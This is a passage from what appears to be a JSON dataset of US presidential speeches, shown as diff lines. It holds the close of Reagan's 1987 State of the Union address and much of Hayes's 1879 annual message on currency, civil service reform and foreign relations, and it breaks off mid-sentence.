We\nwill achieve this, first, by guaranteeing that government does everything\npossible to promote America's ability to compete. Second, we must act as\nindividuals in a quest for excellence that will not be measured by new\nproposals or billions in new funding. Rather, it involves an expenditure of\nAmerican spirit and just plain American grit. The Congress will soon\nreceive my comprehensive proposals to enhance our competitiveness,\nincluding new science and technology centers and strong new funding for\nbasic research. The bill will include legal and regulatory reforms and\nweapons to fight unfair trade practices. Competitiveness also means giving\nour farmers a shot at participating fairly and fully in a changing world\nmarket.Preparing for the future must begin, as always, with our children. We need\nto set for them new and more rigorous goals. We must demand more of\nourselves and our children by raising literacy levels dramatically by the\nyear 2000. Our children should master the basic concepts of math and\nscience, and let's insist that students not leave high school until they\nhave studied and understood the basic documents of our national heritage.\nThere's one more thing we can't let up on: Let's redouble our personal\nefforts to provide for every child a safe and drug-free learning\nenvironment. If our crusade against drugs succeeds with our children, we\nwill defeat that scourge all over the country.Finally, let's stop suppressing the spiritual core of our national being.\nOur nation could not have been conceived without divine help. Why is it\nthat we can build a nation with our prayers, but we can't use a schoolroom\nfor voluntary prayer? The 100th Congress of the United States should be\nremembered as the one that ended the expulsion of God from America's\nclassrooms.The quest for excellence into the 21st century begins in the schoolroom but\nmust go next to the workplace. More than 20 million new jobs will be\ncreated before the new century unfolds, and by then, our economy should be\nable to provide a job for everyone who wants to work. We must also enable\nour workers to adapt to the rapidly changing nature of the workplace. And I\nwill propose substantial, new Federal commitments keyed to retraining and\njob mobility.Over the next few weeks, I'll be sending the Congress a complete series of\nthese special messages--on budget reform, welfare reform, competitiveness,\nincluding education, trade, worker training and assistance, agriculture,\nand other subjects. The Congress can give us these tools, but to make these\ntools work, it really comes down to just being our best. And that is the\ncore of American greatness. The responsibility of freedom presses us\ntowards higher knowledge and, I believe, moral and spiritual greatness.\nThrough lower taxes and smaller government, government has its ways of\nfreeing people's spirits. But only we, each of us, can let the spirit soar\nagainst our own individual standards. Excellence is what makes freedom\nring. And isn't that what we do best?We're entering our third century now, but it's wrong to judge our nation by\nits years. The calendar can't measure America because we were meant to be\nan endless experiment in freedom--with no limit to our reaches, no\nboundaries to what we can do, no end point to our hopes. The United States\nConstitution is the impassioned and inspired vehicle by which we travel\nthrough history. It grew out of the most fundamental inspiration of our\nexistence: that we are here to serve Him by living free--that living free\nreleases in us the noblest of impulses and the best of our abilities; that\nwe would use these gifts for good and generous purposes and would secure\nthem not just for ourselves and for our children but for all mankind.Over the years--I won't count if you don't--nothing has been so\nheartwarming to me as speaking to America's young, and the little ones\nespecially, so fresh-faced and so eager to know. Well, from time to time\nI've been with them--they will ask about our Constitution. And I hope you\nMembers of Congress will not deem this a breach of protocol if you'll\npermit me to share these thoughts again with the young people who might be\nlistening or watching this evening. I've read the constitutions of a number\nof countries, including the Soviet Union's. Now, some people are surprised\nto hear that they have a constitution, and it even supposedly grants a\nnumber of freedoms to its people. Many countries have written into their\nconstitution provisions for freedom of speech and freedom of assembly.\nWell, if this is true, why is the Constitution of the United States so\nexceptional?Well, the difference is so small that it almost escapes you, but it's so\ngreat it tells you the whole story in just three words: We the people. In\nthose other constitutions, the Government tells the people of those\ncountries what they're allowed to do. In our Constitution, we the people\ntell the Government what it can do, and it can do only those things listed\nin that document and no others. Virtually every other revolution in history\nhas just exchanged one set of rulers for another set of rulers. Our\nrevolution is the first to say the people are the masters and government is\ntheir servant. And you young people out there, don't ever forget that.\nSomeday you could be in this room, but wherever you are, America is\ndepending on you to reach your highest and be your best--because here in\nAmerica, we the people are in charge.Just three words: We the people--those are the kids on Christmas Day\nlooking out from a frozen sentry post on the 38th parallel in Korea or\naboard an aircraft carrier in the Mediterranean. A million miles from home,\nbut doing their duty.We the people--those are the warmhearted whose numbers we can't begin to\ncount, who'll begin the day with a little prayer for hostages they will\nnever know and MIA families they will never meet. Why? Because that's the\nway we are, this unique breed we call Americans.We the people--they're farmers on tough times, but who never stop feeding a\nhungry world. They're the volunteers at the hospital choking back their\ntears for the hundredth time, caring for a baby struggling for life because\nof a mother who used drugs. And you'll forgive me a special memory--it's a\nmillion mothers like Nelle Reagan who never knew a stranger or turned a\nhungry person away from her kitchen door.We the people--they refute last week's television commentary downgrading\nour optimism and our idealism. They are the entrepreneurs, the builders,\nthe pioneers, and a lot of regular folks--the true heroes of our land who\nmake up the most uncommon nation of doers in history. You know they're\nAmericans because their spirit is as big as the universe and their hearts\nare bigger than their spirits.We the people--starting the third century of a dream and standing up to\nsome cynic who's trying to tell us we're not going to get any better. Are\nwe at the end? Well, I can't tell it any better than the real thing--a\nstory recorded by James Madison from the final moments of the\nConstitutional Convention, September 17th, 1787. As the last few members\nsigned the document, Benjamin Franklin--the oldest delegate at 81 years and\nin frail health--looked over toward the chair where George Washington daily\npresided. At the back of the chair was painted the picture of a Sun on the\nhorizon. And turning to those sitting next to him, Franklin observed that\nartists found it difficult in their painting to distinguish between a\nrising and a setting Sun.Well, I know if we were there, we could see those delegates sitting around\nFranklin--leaning in to listen more closely to him. And then Dr. Franklin\nbegan to share his deepest hopes and fears about the outcome of their\nefforts, and this is what he said: \"I have often looked at that picture\nbehind the President without being able to tell whether it was a rising or\nsetting Sun: But now at length I have the happiness to know that it is a\nrising and not a setting Sun.\" Well, you can bet it's rising because, my\nfellow citizens, America isn't finished. Her best days have just begun.Thank you, God bless you, and God bless America.NOTE: The President spoke at 9:03 p.m. in the House Chamber of the Capitol.\nHe was introduced by Jim Wright, Speaker of the House of Representatives.\nThe address was broadcast live on nationwide radio and television.", 
+    "name": "Ronald Reagan"
+}
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+{
+    "date": "December 1, 1879", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:The members of the Forty-sixth Congress have assembled in their first\nregular session under circumstances calling for mutual congratulation and\ngrateful acknowledgment to the Giver of All Good for the large and unusual\nmeasure of national prosperity which we now enjoy.The most interesting events which have occurred in our public affairs since\nmy last annual message to Congress are connected with the financial\noperations of the Government, directly affecting the business interests of\nthe country. I congratulate Congress on the successful execution of the\nresumption act. At the time fixed, and in the manner contemplated by law,\nUnited States notes began to be redeemed in coin. Since the 1st of January\nlast they have been promptly redeemed on presentation, and in all business\ntransactions, public and private, in all parts of the country, they are\nreceived and paid out as the equivalent of coin. The demand upon the\nTreasury for gold and silver in exchange for United States notes has been\ncomparatively small, and the voluntary deposit of coin and bullion in\nexchange for notes has been very large. The excess of the precious metals\ndeposited or exchanged for United States notes over the amount of United\nStates notes redeemed is about $40,000,000.The resumption of specie payments has been followed by a very great revival\nof business. With a currency equivalent in value to the money of the\ncommercial world, we are enabled to enter upon an equal competition with\nother nations in trade and production. The increasing foreign demand for\nour manufactures and agricultural products has caused a large balance of\ntrade in our favor, which has been paid in gold, from the 1st of July last\nto November 15, to the amount of about $59,000,000. Since the resumption of\nspecie payments there has also been a marked and gratifying improvement of\nthe public credit. The bonds of the Government bearing only 4 per cent\ninterest have been sold at or above par, sufficient in amount to pay off\nall of the national debt which was redeemable under present laws. The\namount of interest saved annually by the process of refunding the debt\nsince March 1, 1877, is $14,297,177. The bonds sold were largely in small\nsums, and the number of our citizens now holding the public securities is\nmuch greater than ever before. The amount of the national debt which\nmatures within less than two years is $792,121,700, of which $500,000,000\nbear interest at the rate of 5 per cent, and the balance is in bonds\nbearing 6 per cent interest. It is believed that this part of the public\ndebt can be refunded by the issue of 4 per cent bonds, and, by the\nreduction of interest which will thus be effected, about $11,000,000 can be\nannually saved to the Treasury. To secure this important reduction of\ninterest to be paid by the United States further legislation is required,\nwhich it is hoped will be provided by Congress during its present session.The coinage of gold by the mints of the United States during the last\nfiscal year was $40,986,912. The coinage of silver dollars since the\npassage of the act for that purpose up to November 1, 1879, was\n$45,000,850, of which $12,700,344 have been issued from the Treasury and\nare now in circulation, and $32,300,506 are still in the possession of the\nGovernment.The pendency of the proposition for unity of action between the United\nStates and the principal commercial nations of Europe to effect a permanent\nsystem for the equality of gold and silver in the recognized money of the\nworld leads me to recommend that Congress refrain from new legislation on\nthe general subject. The great revival of trade, internal and foreign, will\nsupply during the coming year its own instructions, which may well be\nawaited before attempting further experimental measures with the coinage. I\nwould, however, strongly urge upon Congress the importance of authorizing\nthe Secretary of the Treasury to suspend the coinage of silver dollars upon\nthe present legal ratio. The market value of the silver dollar being\nuniformly and largely less than the market value of the gold dollar, it is\nobviously impracticable to maintain them at par with each other if both are\ncoined without limit. If the cheaper coin is forced into circulation, it\nwill, if coined without limit, soon become the sole standard of value, and\nthus defeat the desired object, which is a currency of both gold and silver\nwhich shall be of equivalent value, dollar for dollar, with the universally\nrecognized money of the world.The retirement from circulation of United States notes with the capacity of\nlegal tender in private contracts is a step to be taken in our progress\ntoward a safe and stable currency which should be accepted as the policy\nand duty of the Government and the interest and security of the people. It\nis my firm conviction that the issue of legal-tender paper money based\nwholly upon the authority and credit of the Government, except in extreme\nemergency, is without warrant in the Constitution and a violation of sound\nfinancial principles. The issue of United States notes during the late\ncivil war with the capacity of legal tender between private individuals was\nnot authorized except as a means of rescuing the country from imminent\nperil. The circulation of these notes as paper money for any protracted\nperiod of time after the accomplishment of this purpose was not\ncontemplated by the framers of the law under which they were issued. They\nanticipated the redemption and withdrawal of these notes at the earliest\npracticable period consistent with the attainment of the object for which\nthey were provided.The policy of the United States, steadily adhered to from the adoption of\nthe Constitution, has been to avoid the creation of a national debt; and\nwhen, from necessity in time of war, debts have been created, they have\nbeen paid off, on the return of peace, as rapidly as possible. With this\nview, and for this purpose, it is recommended that the existing laws for\nthe accumulation of a sinking fund sufficient to extinguish the public debt\nwithin a limited period be maintained. If any change of the objects or\nrates of taxation is deemed necessary by Congress, it is suggested that\nexperience has shown that a duty can be placed on tea and coffee which will\nnot enhance the price of those articles to the consumer, and which will add\nseveral millions of dollars annually to the Treasury.The continued deliberate violation by a large number of the prominent and\ninfluential citizens of the Territory of Utah of the laws of the United\nStates for the prosecution and punishment of polygamy demands the attention\nof every department of the Government. This Territory has a population\nsufficient to entitle it to admission as a State, and the general interests\nof the nation, as well as the welfare of the citizens of the Territory,\nrequire its advance from the Territorial form of government to the\nresponsibilities and privileges of a State. This important change will not,\nhowever, be approved by the country while the citizens of Utah in very\nconsiderable number uphold a practice which is condemned as a crime by the\nlaws of all civilized communities throughout the world.The law for the suppression of this offense was enacted with great\nunanimity by Congress more than seventeen years ago, but has remained until\nrecently a dead letter in the Territory of Utah, because of the peculiar\ndifficulties attending its enforcement. The opinion widely prevailed among\nthe citizens of Utah that the law was in contravention of the\nconstitutional guaranty of religious freedom. This objection is now\nremoved. The Supreme Court of the United States has decided the law to be\nwithin the legislative power of Congress and binding as a rule of action\nfor all who reside within the Territories. There is no longer any reason\nfor delay or hesitation in its enforcement. It should be firmly and\neffectively executed. If not sufficiently stringent in its provisions, it\nshould be amended; and in aid of the purpose in view I recommend that more\ncomprehensive and more searching methods for preventing as well as\npunishing this crime be provided. If necessary to secure obedience to the\nlaw, the enjoyment and exercise of the rights and privileges of citizenship\nin the Territories of the United States may be withheld or withdrawn from\nthose who violate or oppose the enforcement of the law on this subject.The elections of the past year, though occupied only with State officers,\nhave not failed to elicit in the political discussions which attended them\nall over the country new and decisive evidence of the deep interest which\nthe great body of citizens take in the progress of the country toward a\nmore general and complete establishment, at whatever cost, of universal\nsecurity and freedom in the exercise of the elective franchise. While many\ntopics of political concern demand great attention from our people, both in\nthe sphere of national and State authority, I find no reason to qualify the\nopinion I expressed in my last annual message, that no temporary or\nadministrative interests of government, however urgent or weighty, will\never displace the zeal of our people in defense of the primary rights of\ncitizenship, and that the power of public opinion will override all\npolitical prejudices, and all sectional and State attachments in demanding\nthat all over our wide territory the name and character of citizen of the\nUnited States shall mean one and the same thing and carry with them\nunchallenged security and respect. I earnestly appeal to the intelligence\nand patriotism of all good citizens of every part of the country, however\nmuch they maybe divided in opinions on other political subjects, to unite\nin compelling obedience to existing laws aimed at the protection of the\nright of suffrage. I respectfully urge upon Congress to supply any defects\nin these laws which experience has shown and which it is within its power\nto remedy. I again invoke the cooperation of the executive and legislative\nauthorities of the States in this great purpose. I am fully convinced that\nif the public mind can be set at rest on this paramount question of popular\nrights no serious obstacle will thwart or delay the complete pacification\nof the country or retard the general diffusion of prosperity.In a former message I invited the attention of Congress to the subject of\nthe reformation of the civil service of the Government, and expressed the\nintention of transmitting to Congress as early as practicable a report upon\nthis subject by the chairman of the Civil Service Commission.In view of the facts that during a considerable period the Government of\nGreat Britain has been dealing with administrative problems and abuses in\nvarious particulars analogous to those presented in this country, and that\nin recent years the measures adopted were understood to have been effective\nand in every respect highly satisfactory, I thought it desirable to have\nfuller information upon the subject, and accordingly requested the chairman\nof the Civil Service Commission to make a thorough investigation for this\npurpose. The result has been an elaborate and comprehensive report.The report sets forth the history of the partisan spoils system in Great\nBritain, and of the rise and fall of the parliamentary patronage, and of\nofficial interference with the freedom of elections. It shows that after\nlong trials of various kinds of examinations those which are competitive\nand open on equal terms to all, and which are carried on under the\nsuperintendence of a single commission, have, with great advantage, been\nestablished as conditions of admission to almost every official place in\nthe subordinate administration of that country and of British India. The\ncompletion of the report, owing to the extent of the labor involved in its\npreparation and the omission of Congress to make any provision either for\nthe compensation or the expenses of the Commission, has been postponed\nuntil the present time. It is herewith transmitted to Congress.While the reform measures of another government are of no authority for us,\nthey are entitled to influence to the extent to which their intrinsic\nwisdom and their adaptation to our institutions and social life may commend\nthem to our consideration. The views I have heretofore expressed concerning\nthe defects and abuses in our civil administration remain unchanged, except\nin so far as an enlarged experience has deepened my sense of the duty both\nof officers and of the people themselves to cooperate for their removal.\nThe grave evils and perils of a partisan spoils system of appointment to\noffice and of office tenure are now generally recognized. In the\nresolutions of the great parties, in the reports of Departments, in the\ndebates and proceedings of Congress, in the messages of Executives, the\ngravity of these evils has been pointed out and the need of their reform\nhas been admitted.To command the necessary support, every measure of reform must be based on\ncommon right and justice, and must be compatible with the healthy existence\nof great parties, which are inevitable and essential in a free state.When the people have approved a policy at a national election, confidence\non the part of the officers they have selected and of the advisers who, in\naccordance with our political institutions, should be consulted in the\npolicy which it is their duty to carry into effect is indispensable. It is\neminently proper that they should explain it before the people, as well as\nillustrate its spirit in the performance of their official duties.Very different considerations apply to the greater number of those who fill\nthe subordinate places in the civil service. Their responsibility is to\ntheir superiors in official position. It is their duty to obey the legal\ninstructions of those upon whom that authority is devolved, and their best\npublic service consists in the discharge of their functions irrespective of\npartisan politics. Their duties are the same whatever party is in power and\nwhatever policy prevails. As a consequence it follows that their tenure of\noffice should not depend on the prevalence of any policy or the supremacy\nof any party, but should be determined by their capacity to serve the\npeople most usefully quite irrespective of partisan interests. The same\nconsiderations that should govern the tenure should also prevail in the\nappointment, discipline, and removal of these subordinates. The authority\nof appointment and removal is not a perquisite, which may be used to aid a\nfriend or reward a partisan, but is a trust, to be exercised in the public\ninterest under all the sanctions which attend the obligation to apply the\npublic funds only for public purposes.Every citizen has an equal right to the honor and profit of entering the\npublic service of his country. The only just ground of discrimination is\nthe measure of character and capacity he has to make that service most\nuseful to the people. Except in cases where, upon just and recognized\nprinciples--as upon the theory of pensions--offices and promotions are\nbestowed as rewards for past services, their bestowal upon any theory which\ndisregards personal merit is an act of injustice to the citizen, as well as\na breach of that trust subject to which the appointing power is held.In the light of these principles it becomes of great importance to provide\njust and adequate means, especially for every Department and large\nadministrative office, where personal discrimination on the part of its\nhead is not practicable, for ascertaining those qualifications to which\nappointments and removals should have reference. To fail to provide such\nmeans is not only to deny the opportunity of ascertaining the facts upon\nwhich the most righteous claim to office depends, but of necessity to\ndiscourage all worthy aspirants by handing over appointments and removals\nto mere influence and favoritism. If it is the right of the worthiest\nclaimant to gain the appointment and the interest of the people to bestow\nit upon him, it would seem clear that a wise and just method of\nascertaining personal fitness for office must be an important and permanent\nfunction of every just and wise government. It has long since become\nimpossible in the great offices for those having the duty of nomination and\nappointment to personally examine into the individual qualifications of\nmore than a small proportion of those seeking office, and with the\nenlargement of the civil service that proportion must continue to become\nless.In the earlier years of the Government the subordinate offices were so few\nin number that it was quite easy for those making appointments and\npromotions to personally ascertain the merits of candidates. Party managers\nand methods had not then become powerful agencies of coercion, hostile to\nthe free and just exercise of the appointing power.A large and responsible part of the duty of restoring the civil service to\nthe desired purity and efficiency rests upon the President, and it is my\npurpose to do what is within my power to advance such prudent and gradual\nmeasures of reform as will most surely and rapidly bring about that radical\nchange of system essential to make our administrative methods satisfactory\nto a free and intelligent people. By a proper exercise of authority it is\nin the power of the Executive to do much to promote such a reform. But it\ncan not be too clearly understood that nothing adequate can be accomplished\nwithout cooperation on the part of Congress and considerate and intelligent\nsupport among the people. Reforms which challenge the generally accepted\ntheories of parties and demand changes in the methods of Departments are\nnot the work of a day. Their permanent foundations must be laid in sound\nprinciples and in an experience which demonstrates their wisdom and exposes\nthe errors of their adversaries. Every worthy officer desires to make his\nofficial action a gain and an honor to his country; but the people\nthemselves, far more than their officers in public station, are interested\nin a pure, economical, and vigorous administration.By laws enacted in 1853 and 1855, and now in substance incorporated in the\nRevised Statutes, the practice of arbitrary appointments to the several\nsubordinate grades in the great Departments was condemned, and examinations\nas to capacity, to be conducted by departmental boards of examiners, were\nprovided for and made conditions of admission to the public service. These\nstatutes are a decision by Congress that examinations of some sort as to\nattainments and capacity are essential to the well-being of the public\nservice. The important questions since the enactment of these laws have\nbeen as to the character of these examinations, and whether official favor\nand partisan influence or common right and merit were to control the access\nto the examinations. In practice these examinations have not always been\nopen to worthy persons generally who might wish to be examined. Official\nfavoritism and partisan influence, as a rule, appear to have designated\nthose who alone were permitted to go before the examining boards,\nsubjecting even the examiners to a pressure from the friends of the\ncandidates very difficult to resist. As a consequence the standard of\nadmission fell below that which the public interest demanded. It was also\nalmost inevitable that a system which provided for various separate boards\nof examiners, with no common supervision or uniform method of procedure,\nshould result in confusion, inconsistency, and inadequate tests of\ncapacity, highly detrimental to the public interest. A further and more\nradical change was obviously required.In the annual message of December, 1870, my predecessor declared that--\nThere is no duty which so much embarrasses the Executive and heads of\nDepartments as that of appointments, nor is there any such arduous and\nthankless labor imposed on Senators and Representatives as that of finding\nplaces for constituents. The present system does not secure the best men,\nand often not even fit men, for public place. The elevation and\npurification of the civil service of the Government will be hailed with\napproval by the whole people of the United States. Congress accordingly\npassed the act approved March 3, 1871, \"to regulate the civil service of\nthe United States and promote the efficiency thereof,\" giving the necessary\nauthority to the Executive to inaugurate a civil-service reform.Acting under this statute, which was interpreted as intended to secure a\nsystem of just and effectual examinations under uniform supervision, a\nnumber of eminently competent persons were selected for the purpose, who\nentered with zeal upon the discharge of their duties, prepared with an\nintelligent appreciation of the requirements of the service the regulations\ncontemplated, and took charge of the examinations, and who in their\ncapacity as a board have been known as the \"Civil Service Commission.\"\nCongress for two years appropriated the money needed for the compensation\nand for the expense of carrying on the work of the Commission.It appears from the report of the Commission submitted to the President in\nApril, 1874, that examinations had been held in various sections of the\ncountry, and that an appropriation of about $25,000 would be required to\nmeet the annual expenses, including salaries, involved in discharging the\nduties of the Commission. The report was transmitted to Congress by special\nmessage of April 18, 1874, with the following favorable comment upon the\nlabors of the Commission: If sustained by Congress, I have no doubt the\nrules can, after the experience gained, be so improved and enforced as to\nstill more materially benefit the public service and relieve the Executive,\nmembers of Congress, and the heads of Departments from influences\nprejudicial to good administration. The rules, as they have hitherto been\nenforced, have resulted beneficially, as is shown by the opinions of the\nmembers of the Cabinet and their subordinates in the Departments, and in\nthat opinion I concur. And in the annual message of December of the same\nyear similar views are expressed and an appropriation for continuing the\nwork of the Commission again advised.The appropriation was not made, and as a consequence the active work of the\nCommission was suspended, leaving the Commission itself still in existence.\nWithout the means, therefore, of causing qualifications to be tested in any\nsystematic manner or of securing for the public service the advantages of\ncompetition upon any extensive plan, I recommended in my annual message of\nDecember, 1877, the making of an appropriation for the resumption of the\nwork of the Commission.In the meantime, however, competitive examinations, under many\nembarrassments, have been conducted within limited spheres in the Executive\nDepartments in Washington and in a number of the custom-houses and\npost-offices of the principal cities of the country, with a view to further\ntest their effects, and in every instance they have been found to be as\nsalutary as they are stated to have been under the Administration of my\npredecessor. I think the economy, purity, and efficiency of the public\nservice would be greatly promoted by their systematic introduction,\nwherever practicable, throughout the entire civil service of the\nGovernment, together with ample provision for their general supervision in\norder to secure consistency and uniform justice.Reports from the Secretary of the Interior, from the Postmaster-General,\nfrom the postmaster in the city of New York, where such examinations have\nbeen some time on trial, and also from the collector of the port, the naval\nofficer, and the surveyor in that city, and from the postmasters and\ncollectors in several of the other large cities, show that the competitive\nsystem, where applied, has in various ways contributed to improve the\npublic service.The reports show that the results have been salutary in a marked degree,\nand that the general application of similar rules can not fail to be of\ndecided benefit to the service.The reports of the Government officers, in the city of New York especially,\nbear decided testimony to the utility of open competitive examinations in\ntheir respective offices, showing that--These examinations and the\nexcellent qualifications of those admitted to the service through them have\nhad a marked incidental effect upon the persons previously in the service,\nand particularly upon those aspiring to promotion. There has been on the\npart of these latter an increased interest in the work and a desire to\nextend acquaintance with it beyond the particular desk occupied, and thus\nthe morale of the entire force has been raised. The examinations have been\nattended by many citizens, who have had an opportunity to thoroughly\ninvestigate the scope and character of the tests and the method of\ndetermining the results, and those visitors have without exception approved\nthe methods employed, and several of them have publicly attested their\nfavorable opinion. Upon such considerations I deem it my duty to renew the\nrecommendation contained in my annual message of December, 1877, requesting\nCongress to make the necessary appropriation for the resumption of the work\nof the Civil Service Commission. Economy will be promoted by authorizing a\nmoderate compensation to persons in the public service who may perform\nextra labor upon or under the Commission, as the Executive may direct.I am convinced that if a just and adequate test of merit is enforced for\nadmission to the public service and in making promotions such abuses as\nremovals without good cause and partisan and official interference with the\nproper exercise of the appointing power will in large measure disappear.There are other administrative abuses to which the attention of Congress\nshould be asked in this connection. Mere partisan appointments and the\nconstant peril of removal without cause very naturally lead to an absorbing\nand mischievous political activity on the part of those thus appointed,\nwhich not only interferes with the due discharge of official duty, but is\nincompatible with the freedom of elections. Not without warrant in the\nviews of several of my predecessors in the Presidential office, and\ndirectly within the law of 1871, already cited, I endeavored, by regulation\nmade on the 22d day of June, 1877, to put some reasonable limits to such\nabuses. It may not be easy, and it may never perhaps be necessary, to\ndefine with precision the proper limit of political action on the part of\nFederal officers. But while their right to hold and freely express their\nopinions can not be questioned, it is very plain that they should neither\nbe allowed to devote to other subjects the time needed for the proper\ndischarge of their official duties nor to use the authority of their office\nto enforce their own opinions or to coerce the political action of those\nwho hold different opinions.Reasons of justice and public policy quite analogous to those which forbid\nthe use of official power for the oppression of the private citizen impose\nupon the Government the duty of protecting its officers and agents from\narbitrary exactions. In whatever aspect considered, the practice of making\nlevies for party purposes upon the salaries of officers is highly\ndemoralizing to the public service and discreditable to the country. Though\nan officer should be as free as any other citizen to give his own money in\naid of his opinions or his party, he should also be as free as any other\ncitizen to refuse to make such gifts. If salaries are but a fair\ncompensation for the time and labor of the officer, it is gross injustice\nto levy a tax upon them. If they are made excessive in order that they may\nbear the tax, the excess is an indirect robbery of the public funds.I recommend, therefore, such a revision and extension of present statutes\nas shall secure to those in every grade of official life or public\nemployment the protection with which a great and enlightened nation should\nguard those who are faithful in its service.Our relations with foreign countries have continued peaceful.With Great Britain there are still unsettled questions, growing out of the\nlocal laws of the maritime provinces and the action of provincial\nauthorities deemed to be in derogation of rights secured by treaty to\nAmerican fishermen. The United States minister in London has been\ninstructed to present a demand for $105,305.02 in view of the damages\nreceived by American citizens at Fortune Bay on the 6th day of January,\n1878. The subject has been taken into consideration by the British\nGovernment, and an early reply is anticipated.Upon the completion of the necessary preliminary examinations the subject\nof our participation in the provincial fisheries, as regulated by treaty,\nwill at once be brought to the attention of the British Government, with a\nview to an early and permanent settlement of the whole question, which was\nonly temporarily adjusted by the treaty of Washington.Efforts have been made to obtain the removal of restrictions found\ninjurious to the exportation of cattle to the United Kingdom.Some correspondence has also occurred with regard to the rescue and saving\nof life and property upon the Lakes, which has resulted in important\nmodifications of the previous regulations of the Dominion government on the\nsubject in the interest of humanity and commerce.In accordance with the joint resolution of the last session of Congress,\ncommissioners were appointed to represent the United States at the two\ninternational exhibitions in Australia, one of which is now in progress at\nSydney, and the other to be held next year at Melbourne. A desire has been\nexpressed by our merchants and manufacturers interested in the important\nand growing trade with Australia that an increased provision should be made\nby Congress for the representation of our industries at the Melbourne\nexhibition of next year, and the subject is respectfully submitted to your\nfavorable consideration.The assent of the Government has been given to the landing on the coast of\nMassachusetts of a new and independent transatlantic cable between France,\nby way of the French island of St. Pierre, and this country, subject to any\nfuture legislation of Congress on the subject. The conditions imposed\nbefore allowing this connection with our shores to be established are such\nas to secure its competition with any existing or future lines of marine\ncable and preclude amalgamation therewith, to provide for entire equality\nof rights to our Government and people with those of France in the use of\nthe cable, and prevent any exclusive possession of the privilege as\naccorded by France to the disadvantage of any future cable communication\nbetween France and the United States which may be projected and\naccomplished by our citizens. An important reduction of the present rates\nof cable communication with Europe, felt to be too burdensome to the\ninterests of our commerce, must necessarily flow from the establishment of\nthis competing line.The attention of Congress was drawn to the propriety of some general\nregulation by Congress of the whole subject of transmarine cables by my\npredecessor in his message of December 7, 1875, and I respectfully submit\nto your consideration the importance of Congressional action in the\nmatter.The questions of grave importance with Spain growing out of the incidents\nof the Cuban insurrection have been for the most part happily and honorably\nsettled. It may reasonably be anticipated that the commission now sitting\nin Washington for the decision of private cases in this connection will\nsoon be able to bring its labors to a conclusion.The long-standing question of East Florida claims has lately been renewed\nas a subject of correspondence, and may possibly require Congressional\naction for its final disposition.A treaty with the Netherlands with respect to consular rights and\nprivileges similar to those with other powers has been signed and ratified,\nand the ratifications were exchanged on the 31st of July last. Negotiations\nfor extradition treaties with the Netherlands and with Denmark are now in\nprogress.Some questions with Switzerland in regard to pauper and convict emigrants\nhave arisen, but it is not doubted that they will be arranged upon a just\nand satisfactory basis. A question has also occurred with respect to an\nasserted claim by Swiss municipal authorities to exercise tutelage over\npersons and property of Swiss citizens naturalized in this country. It is\npossible this may require adjustment by treaty.With the German Empire frequent questions arise in connection with the\nSubjects of naturalization and expatriation, but the Imperial Government\nhas constantly manifested a desire to strictly maintain and comply with all\ntreaty stipulations in regard to them.In consequence of the omission of Congress to provide for a diplomatic\nrepresentative at Athens, the legation to Greece has been withdrawn. There\nis now no channel of diplomatic communication between the two countries,\nand the expediency of providing for one in some form is submitted to\nCongress.Relations with Austria, Russia, Italy, Portugal, Turkey, and Belgium\ncontinue amicable, and marked by no incident of especial importance.A change of the personal head of the Government of Egypt has taken place.\nNo change, however, has occurred in the relations between Egypt and the\nUnited States. The action of the Egyptian Government in presenting to the\ncity of New York one of the ancient obelisks, which possess such historic\ninterest, is highly appreciated as a generous mark of international regard.\nIf prosperity should attend the enterprise of its transportation across the\nAtlantic, its erection in a conspicuous position in the chief commercial\ncity of the nation will soon be accomplished.The treaty recently made between Japan and the United States in regard to\nthe revision of former commercial treaties it is now believed will be\nfollowed by similar action on the part of other treaty powers. The\nattention of Congress is again invited to the subject of the indemnity\nfunds received some years since from Japan and China, which, with their\naccumulated interest, now amount to considerable sums. If any part of these\nfunds is justly due to American citizens, they should receive it promptly;\nand whatever may have been received by this Government in excess of\nstrictly just demands should in some form be returned to the nations to\nwhom it equitably belongs.The Government of China has signified its willingness to consider the\nquestion of the emigration of its subjects to the United States with a\ndispassionate fairness and to cooperate in such measures as may tend to\nprevent injurious consequences to the United States. The negotiations are\nstill proceeding, and will be pressed with diligence.A question having arisen between China and Japan about the Lew Chew\nIslands, the United States Government has taken measures to inform those\npowers of its readiness to extend its good offices for the maintenance of\npeace if they shall mutually deem it desirable and find it practicable to\navail themselves of the proffer.It is a gratification to be able to announce that, through the judicious\nand energetic action of the military commanders of the two nations on each\nside of the Rio Grande, under the instructions of their respective\nGovernments, raids and depredations have greatly decreased, and in the\nlocalities where formerly most destructive have now almost wholly ceased.\nIn view of this result, I entertain a confident expectation that the\nprevalence of quiet on the border will soon become so assured as to justify\na modification of the present orders to our military commanders as to\ncrossing the border, without encouraging such disturbances as would\nendanger the peace of the two countries.The third installment of the award against Mexico under the claims\ncommission of July 4, 1868, was duly paid, and has been put in course of\ndistribution in pursuance of the act of Congress providing for the same.\nThis satisfactory situation between the two countries leads me to\nanticipate an expansion of our trade with Mexico and an increased\ncontribution of capital and industry by our people to the development of\nthe great resources of that country. I earnestly commend to the wisdom of\nCongress the provision of suitable legislation looking to this result.Diplomatic intercourse with Colombia is again fully restored by the arrival\nof a minister from that country to the United States. This is especially\nfortunate in view of the fact that the question of an inter-oceanic canal\nhas recently assumed a new and important aspect and is now under discussion\nwith the Central American countries through whose territory the canal, by\nthe Nicaragua route, would have to pass. It is trusted that enlightened\nstatesmanship on their part will see that the early prosecution of such a\nwork will largely inure to the benefit, not only of their own citizens and\nthose of the United States, but of the commerce of the civilized world. It\nis not doubted that should the work be undertaken under the protective\nauspices of the United States, and upon satisfactory concessions for the\nright of way and its security by the Central American Governments, the\ncapital for its completion would be readily furnished from this country and\nEurope, which might, failing such guaranties, prove inaccessible.Diplomatic relations with Chile have also been strengthened by the\nreception of a minister from that country.The war between Peru, Bolivia, and Chile still continues. The United States\nhave not deemed it proper to interpose in the matter further than to convey\nto all the Governments concerned the assurance that the friendly offices of\nthe Government of the United States for the restoration of peace upon an\nhonorable basis will be extended in case the belligerents shall exhibit a\nreadiness to accept them.Cordial relations continue with Brazil and the Argentine Republic, and\ntrade with those countries is improving. A provision for regular and more\nfrequent mail communication, in our own ships, between the ports of this\ncountry and the nations of South America seems to me to deserve the\nattention of Congress as an essential precursor of an enlargement of our\ncommerce with them and an extension of our carrying trade.A recent revolution in Venezuela has been followed by the establishment of\na provisional government. This government has not yet been formally\nrecognized, and it is deemed desirable to await the proposed action of the\npeople which is expected to give it the sanction of constitutional forms.A naval vessel has been sent to the Samoan Islands to make surveys and take\npossession of the privileges ceded to the United States by Samoa in the\nharbor of Pago-Pago. A coaling station is to be established there, which\nwill be convenient and 